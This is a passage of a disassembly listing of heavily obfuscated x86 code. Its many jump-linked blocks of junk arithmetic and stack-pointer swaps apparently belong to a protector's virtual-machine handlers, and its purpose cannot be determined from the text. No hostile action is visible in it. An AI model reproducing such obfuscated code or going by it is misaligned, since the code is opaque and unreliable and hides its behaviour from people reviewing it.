sub_580566+BAF5j add edi, 7B7F43D0h add edi, eax sub edi, 7B7F43D0h jmp loc_586B2A ; --------------------------------------------------------------------------- loc_58D639: ; CODE XREF: sub_580566+51C6j xchg edx, [esp+0] pop esp push [esp-2Ah+arg_20+2] push dword ptr [esp+0] pop eax add esp, 4 add esp, 4 add eax, 74A226A6h push edi mov edi, 26367756h jmp loc_58605F ; --------------------------------------------------------------------------- loc_58D65D: ; CODE XREF: sub_580566+855Bj add edx, esi jmp loc_585950 ; --------------------------------------------------------------------------- loc_58D664: ; CODE XREF: sub_580566+4E08j push 1DF2h mov [esp-14h+arg_A+2], eax push [esp-14h+arg_A+2] pop ebp add esp, 4 push ebp pop edx mov ebp, [esp-18h+arg_E+2] jmp loc_58BB4B ; --------------------------------------------------------------------------- loc_58D67D: ; CODE XREF: sub_580566+6EC7j xor eax, [esp-18h+arg_E+2] pop esp jmp loc_58EA00 ; --------------------------------------------------------------------------- loc_58D686: ; CODE XREF: sub_580566+9ED8j jmp loc_584473 ; --------------------------------------------------------------------------- loc_58D68B: ; DATA XREF: sub_580566+3D9Ao mov esp, [esp-30h+arg_28] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58D693: ; CODE XREF: sub_580566+EF0Aj push 0E39h mov [esp-2Ch+arg_24], edi mov edi, esp push 2F08h mov [esp-28h+arg_20], ebp mov ebp, 31EF2FDCh push eax mov eax, 311731FEh xor ebp, eax pop eax push ebx mov ebx, 6972189Eh inc ebx sub ebx, 4D33510Bh xor ebx, 1640A235h push esi mov esi, 1A801160h jmp loc_5888F6 ; --------------------------------------------------------------------------- loc_58D6D1: ; CODE XREF: sub_580566+6ACEj xor al, ch mov ecx, [esp-8+arg_4] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0] mov esp, [esp+0] sub bl, 1Eh add bl, 2Bh push eax mov ah, 0D6h push ecx jmp loc_588F00 ; --------------------------------------------------------------------------- loc_58D6FA: ; CODE XREF: sub_580566+D70Cj push edx jmp loc_58B39F ; --------------------------------------------------------------------------- loc_58D700: ; CODE XREF: sub_580566+FB96j and eax, edi mov edi, [esp+8+var_8] jmp loc_58EE36 ; --------------------------------------------------------------------------- loc_58D70A: ; CODE XREF: sub_580566+5E80j pop esi jmp loc_58BD79 ; --------------------------------------------------------------------------- loc_58D710: ; CODE XREF: sub_580566+A023j add [esp-28h+arg_20], 4 jmp loc_58C460 ; --------------------------------------------------------------------------- loc_58D719: ; CODE XREF: sub_580566+B608j push eax push ebp jmp loc_58B30A ; --------------------------------------------------------------------------- loc_58D720: ; CODE XREF: sub_580566+CF4Bj shr ecx, 3 jmp loc_5904F8 ; --------------------------------------------------------------------------- loc_58D728: ; CODE XREF: sub_580566+8CD5j push 1E7620C1h pop eax add eax, 60A93B7Eh add eax, 3CFA277Fh jmp loc_58FC45 ; --------------------------------------------------------------------------- loc_58D73D: ; CODE XREF: sub_580566+8B29j push 4C11h mov [esp-1Ch+arg_12+2], edi push ebx push eax mov eax, 4CF01751h mov ebx, 0BCF76EA3h sub ebx, eax pop eax xor ebx, 371D061Fh push edx mov edx, 28E5490Dh dec edx dec edx shl edx, 2 jmp loc_585390 ; --------------------------------------------------------------------------- loc_58D76A: ; CODE XREF: sub_580566+E188j add al, bl jmp loc_58ACFC ; --------------------------------------------------------------------------- loc_58D771: ; CODE XREF: sub_580566+C1F6j mov edi, [esp-14h+arg_A+2] add esp, 4 add edi, 1EA90082h add edi, ebx push ebp jmp loc_58721E ; --------------------------------------------------------------------------- loc_58D785: ; CODE XREF: sub_580566+723Ej dec dl not dl inc dl xor dl, 0CDh sub dl, 4Fh mov bl, dl mov edx, [esp-8+arg_4] add esp, 4 add bl, 0B1h push 7975h mov [esp-8+arg_4], edx mov dl, 58h jmp loc_58FCA6 ; --------------------------------------------------------------------------- loc_58D7AB: ; CODE XREF: sub_580566+F0B9j add esp, 4 xor ebx, eax mov dx, word ptr [esp-0Ch+arg_8] push esi push 68BAh push esp pop dword ptr [esp+0] add dword ptr [esp+0], 4 push dword ptr [esp+0] pop esi add esp, 4 add esi, 4 push 6966h jmp loc_586845 ; --------------------------------------------------------------------------- loc_58D7DC: ; CODE XREF: sub_580566+9DA1j sub esi, 247155CAh jmp loc_58C6E0 ; --------------------------------------------------------------------------- loc_58D7E7: ; DATA XREF: sub_580566+3E5Ao mov ax, word ptr [esp-30h+arg_28] jmp loc_586C83 ; --------------------------------------------------------------------------- loc_58D7F0: ; CODE XREF: sub_580566+9B8Aj mov esi, esp add esi, 4 push ebp jmp loc_584C85 ; --------------------------------------------------------------------------- loc_58D7FE: ; CODE XREF: sub_580566+AD29j add dh, bh pop ebx push ebx mov bl, 5Ch add bl, 3Bh and bl, 11h shr bl, 5 and bl, 46h jmp loc_58A34A ; --------------------------------------------------------------------------- loc_58D815: ; CODE XREF: sub_580566+94C2j mov ebp, [esp+0] jmp loc_58AF55 ; --------------------------------------------------------------------------- loc_58D81D: ; CODE XREF: sub_580566+EEE6j shr edi, 2 jmp loc_58E0EE ; --------------------------------------------------------------------------- loc_58D825: ; CODE XREF: sub_580566+BD99j mov ebx, esp jmp loc_58EA13 ; --------------------------------------------------------------------------- loc_58D82C: ; CODE XREF: sub_580566+BCAAj pop ebp push 0EC0h mov [esp-24h+arg_1A+2], eax push esp pop eax push edi mov edi, 1F442A6Dh xor edi, 10006ACDh jmp loc_58A60C ; --------------------------------------------------------------------------- loc_58D848: ; CODE XREF: sub_580566+DA42j push eax mov eax, 4D54207Eh inc eax jmp loc_58C733 ; --------------------------------------------------------------------------- loc_58D854: ; CODE XREF: sub_580566+C618j mov esi, 4 add ecx, esi pop esi add ecx, 2 push 4F1h jmp loc_58C78D ; --------------------------------------------------------------------------- loc_58D869: ; CODE XREF: sub_580566+CBDAj mov esp, [esp-1Ch+arg_12+2] add esp, 4 push [esp-20h+arg_16+2] pop ecx push 2990h jmp loc_585671 ; --------------------------------------------------------------------------- loc_58D87D: ; CODE XREF: sub_580566+4E02j neg ecx shr ecx, 5 sub ecx, 0CE8AA9EEh xor eax, ecx pop ecx xor [esp+4], eax push [esp+2+var_4+2] jmp loc_58CEE9 ; --------------------------------------------------------------------------- loc_58D897: ; CODE XREF: sub_580566+B441j push ecx push eax mov eax, 7B4F1171h add eax, 2E320FFFh push ebp mov ebp, 20654986h add ebp, 4D5465B0h sub ebp, 0D0CE6815h jmp loc_58E2F8 ; --------------------------------------------------------------------------- loc_58D8BA: ; CODE XREF: sub_580566+FEF3j not ebp sub ebp, 1 dec ebp jmp loc_58F077 ; --------------------------------------------------------------------------- loc_58D8C5: ; CODE XREF: sub_580566+E513j pop esp jmp loc_584473 ; --------------------------------------------------------------------------- loc_58D8CB: ; CODE XREF: sub_580566+EC8Fj sub ebp, 0FFFFFFFFh neg ebp push ecx mov ecx, 57F763ABh add ebp, 2BCC0E74h add ebp, ecx sub ebp, 2BCC0E74h pop ecx jmp loc_587362 ; --------------------------------------------------------------------------- loc_58D8ED: ; CODE XREF: sub_580566+E818j mov ebx, 0D8DC08B0h sub edi, ebx pop ebx jmp loc_589C79 ; --------------------------------------------------------------------------- loc_58D8FA: ; CODE XREF: sub_580566+A911j xor edx, [esp-20h+arg_16+2] xor [esp-20h+arg_16+2], edx xor edx, [esp-20h+arg_16+2] mov esp, [esp-20h+arg_16+2] btc word ptr [esp-20h+arg_16+2], ax pushf jmp loc_5852E8 ; --------------------------------------------------------------------------- loc_58D911: ; CODE XREF: sub_580566+FF0Bj pop ebp push edx push [esp-1Ch+arg_16+2] mov edx, [esp-18h+arg_E+2] jmp loc_5861BD ; --------------------------------------------------------------------------- loc_58D91F: ; CODE XREF: sub_580566+8FD6j sub esp, 4 mov [esp+8+var_8], eax mov eax, esp push ebp jmp loc_587432 ; --------------------------------------------------------------------------- push [esp+0Ch+var_C] jmp loc_5875B5 ; --------------------------------------------------------------------------- loc_58D938: ; CODE XREF: sub_580566+43F2j or ebx, 7A075D96h shl ebx, 6 xor ebx, 85D76F84h add esi, ebx pop ebx push eax push 2 mov eax, [esp+8+var_8] add esp, 4 add esi, eax pop eax xchg esi, [esp+0] pop esp idiv cl movzx cx, ah push small 4BBDh mov [esp+0], cx movzx cx, al push cx pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58D97A: ; DATA XREF: sub_580566+3E7Ao lodsd jmp loc_58FEB2 ; --------------------------------------------------------------------------- loc_58D980: ; CODE XREF: sub_580566+FE30j add eax, 320F1C09h push edx mov edx, 2FB3F2FDh push ecx push edx mov edx, 55FD51C9h shr edx, 2 xor edx, 3F3B47DEh jmp loc_58D1A7 ; --------------------------------------------------------------------------- loc_58D9A0: ; CODE XREF: sub_580566+76F1j shl ch, 1 jmp loc_587C3A ; --------------------------------------------------------------------------- loc_58D9A7: ; CODE XREF: sub_580566+4510j mov ecx, eax pop eax dec ecx shl ecx, 2 shl ecx, 7 push eax mov eax, 2EF41AD0h jmp loc_58D5EC ; --------------------------------------------------------------------------- loc_58D9BC: ; CODE XREF: sub_580566+D578j pop [esp-28h+arg_20] mov esp, [esp-2Ch+arg_24] inc word ptr [esp-2Ch+arg_24] pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58D9CC: ; CODE XREF: sub_580566+A7FEj add esp, 4 pop [esp-0Ch+arg_8] mov esp, [esp+0] jmp loc_58A9BF ; --------------------------------------------------------------------------- loc_58D9DA: ; CODE XREF: sub_580566+BF86j mov [esp+14h+var_14], eax mov ah, 6Bh push ecx mov cl, 0C9h sub cl, 89h jmp loc_587C81 ; --------------------------------------------------------------------------- loc_58D9EA: ; CODE XREF: sub_580566+69E4j add [esp+14h+var_14], 1F97648Bh add [esp+14h+var_14], 46DC7A8Ch add [esp+14h+var_14], eax sub [esp+14h+var_14], 46DC7A8Ch push eax push 1F97648Bh pop eax jmp loc_58534D ; --------------------------------------------------------------------------- loc_58DA0E: ; CODE XREF: sub_580566+5983j xor ch, ah pop eax jmp loc_5877A0 ; --------------------------------------------------------------------------- loc_58DA16: ; CODE XREF: sub_580566+F9F8j add ebp, ecx pop ecx xchg ebp, [esp-20h+arg_16+2] pop esp sub esp, 4 mov [esp-20h+arg_16+2], ebx mov ebx, esp add ebx, 4 push ebp jmp loc_58B7CC ; --------------------------------------------------------------------------- loc_58DA31: ; DATA XREF: sub_580566+3DCEo push [esp-30h+arg_28] jmp loc_5858CE ; --------------------------------------------------------------------------- loc_58DA39: ; CODE XREF: sub_580566+5819j sub esi, 7D9859DFh sub esi, 6B8E1EE2h pop edi xor esi, [esp-8+arg_4] xor [esp-8+arg_4], esi xor esi, [esp-8+arg_4] mov esp, [esp-8+arg_4] jmp loc_589427 ; --------------------------------------------------------------------------- loc_58DA57: ; CODE XREF: sub_580566+C861j add ecx, edx pop edx add ecx, 4 xor ecx, [esp-20h+arg_16+2] xor [esp-20h+arg_16+2], ecx xor ecx, [esp-20h+arg_16+2] pop esp shr ecx, 2 sub esp, 4 mov [esp-20h+arg_16+2], ebx push [esp-20h+arg_16+2] push [esp-1Ch+arg_12+2] push [esp-18h+arg_E+2] pop eax push ecx mov ecx, esp add ecx, 4 jmp loc_5845A8 ; --------------------------------------------------------------------------- loc_58DA8B: ; CODE XREF: sub_580566+FA7Cj mov esi, 64EB1EE6h and esi, 7C167DC9h xor esi, 5DF00B0Ah xor esi, 2ACC6C60h xor eax, esi pop esi neg eax add eax, 1 xor eax, 133AF0BBh mov ebp, eax jmp loc_58DFC0 ; --------------------------------------------------------------------------- loc_58DAB8: ; CODE XREF: sub_580566+67F3j dec ebx sub ebx, 0A0E72126h xor eax, ebx jmp loc_587009 ; --------------------------------------------------------------------------- loc_58DAC6: ; CODE XREF: sub_580566+6B6Fj mov edx, 5BBC178Bh not edx jmp loc_58AFE3 ; --------------------------------------------------------------------------- loc_58DAD2: ; CODE XREF: sub_580566+F1A6j pop edx sub esp, 4 mov [esp+0Ch+var_C], ebp push [esp+0Ch+var_8] pop ebp jmp loc_58D9BC ; --------------------------------------------------------------------------- loc_58DAE3: ; CODE XREF: sub_580566+AA26j dec eax push ecx push 291D0004h pop ecx shr ecx, 6 inc ecx push edi mov edi, 25BC52A4h neg edi jmp loc_58535C ; --------------------------------------------------------------------------- loc_58DAFC: ; CODE XREF: sub_580566+DB02j pop eax push edi mov edi, 5421928h sub edi, 5421926h jmp loc_5851CF ; --------------------------------------------------------------------------- loc_58DB0E: ; CODE XREF: sub_580566+8E30j xor ebx, 0EFEDDDFFh add esi, ebx pop ebx sub esp, 4 mov [esp+14h+var_14], ebp mov ebp, 4 add esi, ebp jmp loc_584BE5 ; --------------------------------------------------------------------------- loc_58DB29: ; CODE XREF: sub_580566+FA14j sub [esp+14h+var_10], ecx pop ecx mov ecx, [esp+10h+var_10] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+14h+var_14] pop esp jmp loc_58C9E9 ; --------------------------------------------------------------------------- loc_58DB45: ; CODE XREF: sub_580566+EC50j shl ebx, 5 jmp loc_58BBC1 ; --------------------------------------------------------------------------- loc_58DB4D: ; CODE XREF: sub_580566+E7D7j pop esi xchg ebx, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] dec [esp+0Ch+var_C] pushf jmp loc_5888A6 ; --------------------------------------------------------------------------- loc_58DB5D: ; CODE XREF: sub_580566+4404j xchg eax, [esp+4+var_4] pop esp add ebp, 4 jmp loc_588DD6 ; --------------------------------------------------------------------------- loc_58DB6C: ; CODE XREF: sub_580566+7DC3j mov ebp, esi pop esi jmp loc_5859B5 ; --------------------------------------------------------------------------- loc_58DB74: ; DATA XREF: sub_580566+3C8Eo mov cx, [esp+0] push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+0] pop esp mov [esp+0], eax push 63FBh mov [esp+0], esp add dword ptr [esp+0], 4 pop eax add eax, 4 push ebx jmp loc_58A510 ; --------------------------------------------------------------------------- loc_58DBA9: ; CODE XREF: sub_580566+BD40j mov ebp, 3CBA5FEDh jmp loc_58A768 ; --------------------------------------------------------------------------- loc_58DBB3: ; CODE XREF: sub_580566+DC6Bj mov edx, 702519BFh jmp loc_58CF8A ; --------------------------------------------------------------------------- loc_58DBBD: ; DATA XREF: sub_580566+3EAEo push [esp-30h+arg_28] mov ecx, [esp-2Ch+arg_24] add esp, 4 push ebx push esp mov ebx, [esp-28h+arg_20] add esp, 4 add ebx, 4 push edx mov edx, 6F0C0F6Fh or edx, 5C092F62h neg edx xor edx, 80F2D095h add ebx, 6DD47457h jmp loc_58E8DF ; --------------------------------------------------------------------------- loc_58DBF6: ; CODE XREF: sub_580566+6451j mov [esp-28h+arg_20], ebx push edi push esi mov esi, 2 push edx mov edx, esi mov edi, edx pop edx pop esi mov ebx, edi pop edi add eax, 63321A6Ah add eax, ebx jmp loc_588123 ; --------------------------------------------------------------------------- loc_58DC16: ; CODE XREF: sub_580566+4C82j add ah, 5Dh add ah, 0F0h jmp loc_58AAE7 ; --------------------------------------------------------------------------- loc_58DC21: ; CODE XREF: sub_580566+BDEFj pop ebp jmp loc_5845B8 ; --------------------------------------------------------------------------- loc_58DC27: ; CODE XREF: sub_580566+71D1j add dl, 0C5h mov al, dl pop edx push ebx mov bl, al mov cl, bl pop ebx jmp loc_587F13 ; --------------------------------------------------------------------------- loc_58DC38: ; CODE XREF: sub_580566+549Dj add esp, 4 add eax, edi pop edi push edi mov edi, 4 add eax, edi pop edi jmp loc_58EDEF ; --------------------------------------------------------------------------- loc_58DC4C: ; CODE XREF: sub_580566+CC76j inc al add al, 30h sub bl, 4Dh jmp loc_58849B ; --------------------------------------------------------------------------- loc_58DC58: ; CODE XREF: sub_580566+7CEFj add eax, 2 xor eax, [esp+12h+var_14+2] xor [esp+12h+var_14+2], eax xor eax, [esp+12h+var_14+2] pop esp push esi sub esp, 4 mov [esp+16h+var_18+2], edx jmp loc_58B0F7 ; --------------------------------------------------------------------------- loc_58DC71: ; CODE XREF: sub_580566+E701j dec esi jmp loc_58D6FA ; --------------------------------------------------------------------------- loc_58DC77: ; CODE XREF: sub_580566+F1CEj pop ecx push ebp jmp loc_58C33F ; --------------------------------------------------------------------------- loc_58DC7E: ; CODE XREF: sub_580566+5FA2j add edx, ebx mov ebx, [esp-0Ch+arg_8] add esp, 4 jmp loc_58496F ; --------------------------------------------------------------------------- loc_58DC8E: ; CODE XREF: sub_580566+AFBBj shr ebx, 2 shr ebx, 6 sub ebx, 507E5A03h jmp loc_5852B6 ; --------------------------------------------------------------------------- loc_58DC9F: ; CODE XREF: sub_580566+9E93j pop esp xchg esi, [esp-3Ah+arg_30+2] jmp loc_58E656 ; --------------------------------------------------------------------------- loc_58DCA8: ; CODE XREF: sub_580566+DDBAj add ecx, 4 add ecx, 4 xchg ecx, [esp-3Ah+arg_30+2] jmp loc_58AD85 ; --------------------------------------------------------------------------- loc_58DCBC: ; CODE XREF: sub_580566+FCFAj shr eax, 2 add eax, 16C0482Bh inc eax jmp loc_586F75 ; --------------------------------------------------------------------------- loc_58DCCA: ; CODE XREF: sub_580566+B113j sub edx, ecx jmp loc_5884D0 ; --------------------------------------------------------------------------- loc_58DCD1: ; CODE XREF: sub_580566+F045j push 2B512F9Dh jmp loc_58E9EF ; --------------------------------------------------------------------------- loc_58DCDB: ; CODE XREF: sub_580566+3FD1j mov ecx, [esp-28h+arg_20] add esp, 4 xor eax, [esp-2Ch+arg_24] jmp loc_5846F7 ; --------------------------------------------------------------------------- loc_58DCEC: ; CODE XREF: sub_580566+9F3Ej mov bh, 2Ch jmp loc_5906BE ; --------------------------------------------------------------------------- loc_58DCF3: ; CODE XREF: sub_580566+6C1Ej jmp loc_584473 ; --------------------------------------------------------------------------- loc_58DCF8: ; CODE XREF: sub_580566+9C92j add ecx, 4 jmp loc_58FE8E ; --------------------------------------------------------------------------- loc_58DD00: ; CODE XREF: sub_580566+E8CBj not ecx sub ecx, 7E731FC3h inc ecx xor ecx, 715D6785h add ecx, 0F36C5C3Ch mov esi, ecx pop ecx add esi, 0B814B00Bh mov edx, esi pop esi add esi, edx pop edx jmp loc_5899E4 ; --------------------------------------------------------------------------- loc_58DD29: ; DATA XREF: sub_580566+3DB6o neg word ptr [esp-30h+arg_28] pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58DD33: ; DATA XREF: sub_580566+3C56o mov cx, [esp+0] push ebx push esp pop ebx add ebx, 4 sub esp, 4 mov [esp+4+var_4], edx push ecx push 1C4F4A1Bh push [esp+0Ch+var_C] pop ecx jmp loc_58B582 ; --------------------------------------------------------------------------- loc_58DD58: ; CODE XREF: sub_580566+9F15j mov esi, [esp-14h+arg_A+2] add esp, 4 neg edi inc edi xor edi, 0BC29CC70h jmp loc_587574 ; --------------------------------------------------------------------------- loc_58DD6C: ; CODE XREF: sub_580566+54ABj pop dword ptr [esp+0] mov esp, [esp-14h+arg_A+2] mov ax, word ptr [esp-14h+arg_A+2] jmp loc_58F6E7 ; --------------------------------------------------------------------------- loc_58DD7B: ; CODE XREF: sub_580566+48FAj pop edx xor eax, 5D162E3Ah sub eax, 0D90CA4C6h and ecx, eax push [esp+18h+var_18] jmp loc_58A006 ; --------------------------------------------------------------------------- loc_58DD90: ; CODE XREF: sub_580566+E1BBj pop esp mov [esp+18h+var_18], ebx push esi mov esi, 79E170DBh sub esi, 0D3E0260h shr esi, 6 shr esi, 1 sub esi, 0EE313532h mov ebx, esi pop esi and ebx, 2E0B7FF5h jmp loc_586A9A ; --------------------------------------------------------------------------- loc_58DDB9: ; CODE XREF: sub_580566+F2E8j add ah, dh pop edx mov bl, ah jmp loc_590378 ; --------------------------------------------------------------------------- loc_58DDC3: ; CODE XREF: sub_580566+8769j mov dx, 2825h jmp loc_58C913 ; --------------------------------------------------------------------------- loc_58DDCC: ; CODE XREF: sub_580566+80FEj mov [esp-30h+arg_28], edx mov edx, esp push ebx mov ebx, 70890878h add ebx, 8F76F78Ch jmp loc_585CBB ; --------------------------------------------------------------------------- loc_58DDE2: ; CODE XREF: sub_580566+5113j mov [esp+0], ebp push ecx mov ecx, 0D7678EAh mov ebp, ecx mov ecx, [esp-0Ch+arg_8] jmp loc_58FE48 ; --------------------------------------------------------------------------- loc_58DDF5: ; CODE XREF: sub_580566+742Bj mov edx, 6FA764C3h xor edx, eax pop eax shr edx, 7 jmp loc_586380 ; --------------------------------------------------------------------------- loc_58DE05: ; CODE XREF: sub_580566+5C76j sub bl, dl mov edx, [esp-2Eh+arg_24+2] add esp, 4 add al, bl pop ebx push ecx mov ch, 17h and ch, 0A4h sub ch, 46h add al, ch jmp loc_58BF53 ; --------------------------------------------------------------------------- loc_58DE20: ; CODE XREF: sub_580566+92E8j dec ah or ah, 0D7h dec ah jmp loc_58F2E6 ; --------------------------------------------------------------------------- loc_58DE2C: ; CODE XREF: sub_580566+8643j push ebx mov ebx, 6D872C5Ah and ebx, 664110A1h jmp loc_58A778 ; --------------------------------------------------------------------------- loc_58DE3D: ; CODE XREF: sub_580566+C682j push ebx mov ebx, 4 add ecx, ebx pop ebx push ebp push ecx jmp loc_584CF8 ; --------------------------------------------------------------------------- loc_58DE4D: ; CODE XREF: sub_580566+50EAj mov ebx, esp add ebx, 4 push esi mov esi, 4 sub ebx, esi jmp loc_58FEFB ; --------------------------------------------------------------------------- loc_58DE62: ; CODE XREF: sub_580566+E71Fj mov ebx, 510611D3h jmp loc_587919 ; --------------------------------------------------------------------------- loc_58DE6C: ; CODE XREF: sub_580566+9266j mov edi, 2 add ecx, edi pop edi xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] mov esp, [esp+0] sar dword ptr [esp+0], cl pushf jmp loc_58CAAC ; --------------------------------------------------------------------------- loc_58DE89: ; CODE XREF: sub_580566+B629j push ecx push 78657E75h pop ecx mov ebp, ecx pop ecx push edx mov edx, 7F153D61h and ebp, edx jmp loc_58F3D0 ; --------------------------------------------------------------------------- loc_58DEA0: ; CODE XREF: sub_580566+6767j add eax, 5B3E58A5h sub eax, 77174267h pop esi jmp loc_586FC8 ; --------------------------------------------------------------------------- loc_58DEB0: ; CODE XREF: sub_580566+86A2j mov [esp-20h+arg_16+2], ebx push ecx mov ecx, 0FFF036Eh jmp loc_586997 ; --------------------------------------------------------------------------- loc_58DEBE: ; CODE XREF: sub_580566+437Ej sub eax, 637F5790h mov edx, [esp+0] jmp loc_58CF77 ; --------------------------------------------------------------------------- loc_58DECB: ; CODE XREF: sub_580566+686Bj xor al, bh pop bx push eax jmp loc_586F37 ; --------------------------------------------------------------------------- loc_58DED5: ; CODE XREF: sub_580566+9446j mov [esp-2Ch+arg_24], eax jmp loc_589088 ; --------------------------------------------------------------------------- loc_58DEDD: ; CODE XREF: sub_580566+6F99j add esp, 4 sub bl, cl pop ecx push 59B8h jmp loc_585312 ; --------------------------------------------------------------------------- loc_58DEED: ; CODE XREF: sub_580566+F413j mov ecx, 4 jmp loc_5869D8 ; --------------------------------------------------------------------------- loc_58DEF7: ; CODE XREF: sub_580566+BD0Fj xor [esp-14h+arg_A+2], edi xor edi, [esp-14h+arg_A+2] mov esp, [esp-14h+arg_A+2] sub word ptr [esp-14h+arg_A+2], ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58DF0A: ; CODE XREF: sub_580566+83F1j add esi, 41744707h xor esi, 3EF62AC6h shl esi, 7 jmp loc_58AA95 ; --------------------------------------------------------------------------- loc_58DF1E: ; CODE XREF: sub_580566+9067j mov [esp+8+var_8], ebx push [esp+8+var_8] pop eax sub esp, 4 mov [esp+0Ch+var_C], edx mov edx, esp push ebx push esi jmp loc_58EF0B ; --------------------------------------------------------------------------- loc_58DF37: ; CODE XREF: sub_580566+90D1j dec edi shl edi, 5 add edi, 7E7C705Eh dec edi or edi, 16C3231Ah jmp loc_58A58E ; --------------------------------------------------------------------------- loc_58DF4D: ; CODE XREF: sub_580566+42D6j add edi, edx pop edx jmp loc_589A4D ; --------------------------------------------------------------------------- loc_58DF55: ; CODE XREF: sub_580566+C612j pop edi add edi, 22887672h pop ebx and edi, 4E7954F9h add edi, 741445C5h mov ebx, edi pop edi jmp loc_58A654 ; --------------------------------------------------------------------------- loc_58DF71: ; CODE XREF: sub_580566+8EA6j xor eax, 2EA60752h push small word ptr [eax] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58DF7E: ; CODE XREF: sub_580566+85D4j mov esi, esp add esi, 4 push ebx push eax push 5B9D7662h pop eax add eax, 0A46289A2h mov ebx, eax pop eax sub esi, 36AF5CB9h add esi, ebx jmp loc_5901E0 ; --------------------------------------------------------------------------- loc_58DFA3: ; CODE XREF: sub_580566+AE27j mov edi, 7C625870h jmp loc_58D848 ; --------------------------------------------------------------------------- loc_58DFAD: ; CODE XREF: sub_580566+41ACj pop ebx pop ecx push ebx push edx mov dh, al push eax jmp loc_588B8F ; --------------------------------------------------------------------------- loc_58DFB9: ; CODE XREF: sub_580566+CDFFj dec bh jmp loc_58ACEF ; --------------------------------------------------------------------------- loc_58DFC0: ; CODE XREF: sub_580566+D54Dj push [esp-18h+arg_E+2] pop eax jmp loc_586EA6 ; --------------------------------------------------------------------------- loc_58DFC9: ; CODE XREF: sub_580566+B712j xchg ebx, [esp+8+var_8] mov ebx, [esp+8+var_8] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58C784 ; --------------------------------------------------------------------------- loc_58DFE3: ; DATA XREF: sub_580566+3DC2o push [esp-30h+arg_28] pop eax push ebx push esp mov ebx, [esp-28h+arg_20] add esp, 4 push 4CD5h mov [esp-28h+arg_20], esi push ebx jmp loc_585901 ; --------------------------------------------------------------------------- loc_58E000: ; CODE XREF: sub_580566+FE6Bj mov edx, ebp pop ebp jmp loc_5891C3 ; --------------------------------------------------------------------------- loc_58E008: ; CODE XREF: sub_580566+5717j and ecx, edi push [esp+0Ch+var_C] jmp loc_58FA5F ; --------------------------------------------------------------------------- loc_58E012: ; CODE XREF: sub_580566+E0C9j sub ebx, 230B71A2h add ebx, eax jmp loc_58684D ; --------------------------------------------------------------------------- loc_58E01F: ; CODE XREF: sub_580566+F996j xchg ebx, [esp+10h+var_10] jmp loc_587161 ; --------------------------------------------------------------------------- loc_58E027: ; CODE XREF: sub_580566+9684j push edx mov dl, 0CCh sub dl, 7Bh push ebx mov bl, 57h or bl, 0D8h neg bl jmp loc_5905E2 ; --------------------------------------------------------------------------- loc_58E03A: ; CODE XREF: sub_580566+BC0Ej sub esp, 4 mov [esp-32h+arg_28+2], eax jmp loc_58644D ; --------------------------------------------------------------------------- loc_58E045: ; CODE XREF: sub_580566+4F7Ej and ebp, 5B0E6B85h add ebp, 0D5D6054h add ecx, ebp pop ebp add ecx, eax sub ecx, 156369D8h add ecx, 63CD4EAEh add ecx, 2663767h jmp loc_58DAFC ; --------------------------------------------------------------------------- loc_58E06D: ; CODE XREF: sub_580566+63ACj mov ecx, 4 sub esi, 357C7E01h add esi, ecx jmp loc_5850EE ; --------------------------------------------------------------------------- loc_58E07F: ; CODE XREF: sub_580566+C7C5j add dword ptr [esp+0], 71CC54BDh pop eax sub eax, 71CC54BDh jmp loc_58828B ; --------------------------------------------------------------------------- loc_58E091: ; CODE XREF: sub_580566+4AB8j push 9A5h mov [esp+4+var_4], ebx mov ebx, 2 mov ecx, ebx pop ebx sub esi, 71A842CAh add esi, ecx jmp loc_584864 ; --------------------------------------------------------------------------- loc_58E0AE: ; CODE XREF: sub_580566+EE07j mov [esp+0], ebp jmp loc_584583 ; --------------------------------------------------------------------------- loc_58E0B6: ; CODE XREF: sub_580566+41BAj mov word ptr [esp+14h+var_14], dx mov dx, 1FBEh sub bx, dx pop dx movzx eax, ax push 2DE4h mov [esp+16h+var_18+2], ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_585FF5 ; --------------------------------------------------------------------------- loc_58E0E1: ; CODE XREF: sub_580566+9340j mov esp, [esp-4Ah+arg_40+2] push 383h jmp loc_5892DE ; --------------------------------------------------------------------------- loc_58E0EE: ; CODE XREF: sub_580566+D2BAj add edi, 486F3473h and edi, 38911B8Bh not edi jmp loc_58D3CC ; --------------------------------------------------------------------------- loc_58E101: ; CODE XREF: sub_580566+C6BDj mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_58F8ED ; --------------------------------------------------------------------------- loc_58E114: ; CODE XREF: sub_580566+DE2Aj push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_586A74 ; --------------------------------------------------------------------------- loc_58E125: ; CODE XREF: sub_580566+CA0Cj pop esi add edx, eax mov eax, [esp-3Ah+arg_30+2] add esp, 4 add edx, 2 xchg edx, [esp-3Eh+arg_34+2] pop esp rol byte ptr [esp-42h+arg_38+2], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58E141: ; CODE XREF: sub_580566+B57Fj push eax jmp loc_58E3A9 ; --------------------------------------------------------------------------- loc_58E147: ; CODE XREF: sub_580566+EDBCj mov ecx, 1CE20068h xor ecx, 1CE2006Ch add ebx, ecx pop ecx push ebp mov ebp, 2 add ebx, ebp mov ebp, [esp+0] jmp loc_5885FB ; --------------------------------------------------------------------------- loc_58E165: ; CODE XREF: sub_580566+C127j push 24D97AC2h pop ecx jmp loc_58915E ; --------------------------------------------------------------------------- loc_58E170: ; CODE XREF: sub_580566+F935j or [edi+1Ch], esi push [esp-0Ch+arg_8] mov esi, [esp-8+arg_4] add esp, 4 add esp, 4 jmp loc_584473 ; --------------------------------------------------------------------------- loc_58E187: ; CODE XREF: sub_580566+B305j mov ebp, ecx mov ecx, [esp-22h+arg_1A] add esp, 4 pop eax jmp loc_5892C2 ; --------------------------------------------------------------------------- loc_58E195: ; CODE XREF: sub_580566+BC96j mov edi, 66B75723h xor edi, 66B75727h mov ecx, edi pop edi add edx, ecx pop ecx add edx, 4 push edx push dword ptr [esp+4] pop edx pop 